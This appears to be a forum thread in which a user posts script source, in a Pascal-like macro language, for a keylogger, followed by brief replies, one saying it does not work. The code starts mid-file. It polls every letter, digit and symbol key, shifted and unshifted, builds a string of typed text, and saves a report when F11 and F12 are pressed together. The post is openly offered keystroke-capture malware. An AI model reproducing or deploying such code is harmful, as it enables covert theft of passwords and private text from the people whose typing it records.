WriteLn('Keylog Saving Succesful');
End;

procedure findkeys;
begin
repeat

if iskeydown(' ') then
begin
CharCount := CharCount + 1;
insert(' ', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('a') then
begin
CharCount := CharCount + 1;
insert('a', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('b') then
begin
CharCount := CharCount + 1;
insert('b', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('c') then
begin
CharCount := CharCount + 1;
insert('c', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('d') then
begin
CharCount := CharCount + 1;
insert('d', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('e') then
begin
CharCount := CharCount + 1;
insert('e', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('f') then
begin
CharCount := CharCount + 1;
insert('f', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('g') then
begin
CharCount := CharCount + 1;
insert('g', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('h') then
begin
CharCount := CharCount + 1;
insert('h', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('i') then
begin
CharCount := CharCount + 1;
insert('i', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('j') then
begin
CharCount := CharCount + 1;
insert('j', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('k') then
begin
CharCount := CharCount + 1;
insert('k', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('l') then
begin
CharCount := CharCount + 1;
insert('l', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('m') then
begin
CharCount := CharCount + 1;
insert('m', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('n') then
begin
CharCount := CharCount + 1;
insert('n', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('o') then
begin
CharCount := CharCount + 1;
insert('o', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('p') then
begin
CharCount := CharCount + 1;
insert('p', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('q') then
begin
CharCount := CharCount + 1;
insert('q', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('r') then
begin
CharCount := CharCount + 1;
insert('r', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('s') then
begin
CharCount := CharCount + 1;
insert('s', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('t') then
begin
CharCount := CharCount + 1;
insert('t', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('u') then
begin
CharCount := CharCount + 1;
insert('u', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('v') then
begin
CharCount := CharCount + 1;
insert('v', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('w') then
begin
CharCount := CharCount + 1;
insert('w', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('x') then
begin
CharCount := CharCount + 1;
insert('x', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('y') then
begin
CharCount := CharCount + 1;
insert('y', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('z') then
begin
CharCount := CharCount + 1;
insert('z', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('1') then
begin
CharCount := CharCount + 1;
insert('1', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('2') then
begin
CharCount := CharCount + 1;
insert('2', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('3') then
begin
CharCount := CharCount + 1;
insert('3', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('4') then
begin
CharCount := CharCount + 1;
insert('4', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('5') then
begin
CharCount := CharCount + 1;
insert('5', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('6') then
begin
CharCount := CharCount + 1;
insert('6', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('7') then
begin
CharCount := CharCount + 1;
insert('7', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('8') then
begin
CharCount := CharCount + 1;
insert('8', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('9') then
begin
CharCount := CharCount + 1;
insert('9', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('0') then
begin
CharCount := CharCount + 1;
insert('0', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('`') then
begin
CharCount := CharCount + 1;
insert('`', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown(';') then
begin
CharCount := CharCount + 1;
insert(';', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown(',') then
begin
CharCount := CharCount + 1;
insert(',', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('.') then
begin
CharCount := CharCount + 1;
insert('.', information, CharCount + 1);
wait(100)
end;


if iskeydown('/') then
begin
CharCount := CharCount + 1;
insert('/', information, CharCount + 1);
wait(100)
end;


if iskeydown('-') then
begin
CharCount := CharCount + 1;
insert('-', information, CharCount + 1);
wait(100)
end;


if iskeydown('=') then
begin
CharCount := CharCount + 1;
insert('=', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('\') then
begin
CharCount := CharCount + 1;
insert('\', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown('[') then
begin
CharCount := CharCount + 1;
insert('[', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if iskeydown(']') then
begin
CharCount := CharCount + 1;
insert(']', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('a') then
begin
CharCount := CharCount + 1;
insert('A', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('b') then
begin
CharCount := CharCount + 1;
insert('B', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('c') then
begin
CharCount := CharCount + 1;
insert('C', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('d') then
begin
CharCount := CharCount + 1;
insert('D', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('e') then
begin
CharCount := CharCount + 1;
insert('E', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('f') then
begin
CharCount := CharCount + 1;
insert('F', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('g') then
begin
CharCount := CharCount + 1;
insert('G', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('h') then
begin
CharCount := CharCount + 1;
insert('H', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('i') then
begin
CharCount := CharCount + 1;
insert('I', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('j') then
begin
CharCount := CharCount + 1;
insert('J', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('k') then
begin
CharCount := CharCount + 1;
insert('K', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('l') then
begin
CharCount := CharCount + 1;
insert('L', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('m') then
begin
CharCount := CharCount + 1;
insert('M', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('n') then
begin
CharCount := CharCount + 1;
insert('N', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('o') then
begin
CharCount := CharCount + 1;
insert('O', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('p') then
begin
CharCount := CharCount + 1;
insert('P', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('q') then
begin
CharCount := CharCount + 1;
insert('Q', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('r') then
begin
CharCount := CharCount + 1;
insert('R', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('s') then
begin
CharCount := CharCount + 1;
insert('S', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('t') then
begin
CharCount := CharCount + 1;
insert('T', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('u') then
begin
CharCount := CharCount + 1;
insert('U', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('v') then
begin
CharCount := CharCount + 1;
insert('V', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('w') then
begin
CharCount := CharCount + 1;
insert('W', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('x') then
begin
CharCount := CharCount + 1;
insert('X', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('y') then
begin
CharCount := CharCount + 1;
insert('Y', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('z') then
begin
CharCount := CharCount + 1;
insert('Z', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('1') then
begin
CharCount := CharCount + 1;
insert('!', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('2') then
begin
CharCount := CharCount + 1;
insert('@', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('3') then
begin
CharCount := CharCount + 1;
insert('#', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('4') then
begin
CharCount := CharCount + 1;
insert('$', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('5') then
begin
CharCount := CharCount + 1;
insert('%', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('6') then
begin
CharCount := CharCount + 1;
insert('^', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('7') then
begin
CharCount := CharCount + 1;
insert('&', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('8') then
begin
CharCount := CharCount + 1;
insert('*', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('9') then
begin
CharCount := CharCount + 1;
insert('(', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('0') then
begin
CharCount := CharCount + 1;
insert(')', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('-') then
begin
CharCount := CharCount + 1;
insert('_', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('=') then
begin
CharCount := CharCount + 1;
insert('+', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('\') then
begin
CharCount := CharCount + 1;
insert('|', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('`') then
begin
CharCount := CharCount + 1;
insert('~', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown(';') then
begin
CharCount := CharCount + 1;
insert(':', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('[') then
begin
CharCount := CharCount + 1;
insert('{', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown(']') then
begin
CharCount := CharCount + 1;
insert('}', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown(',') then
begin
CharCount := CharCount + 1;
insert('<', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('.') then
begin
CharCount := CharCount + 1;
insert('>', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfunctionkeydown(0) and iskeydown('/') then
begin
CharCount := CharCount + 1;
insert('?', information, CharCount + 1);
wait(100)
end;
wait(1/2)

if isfkeydown(11) and isfkeydown(12) then
begin
savereport;
wait(200)
terminatescript;
end;
until(false)
end;

begin
end.

[vikrant60]

seems so simple then botnet programes :o

[joelster134]

seems so simple then botnet programes :o



This dosn't work though :confused:

[Ruroken]

Use Ron's?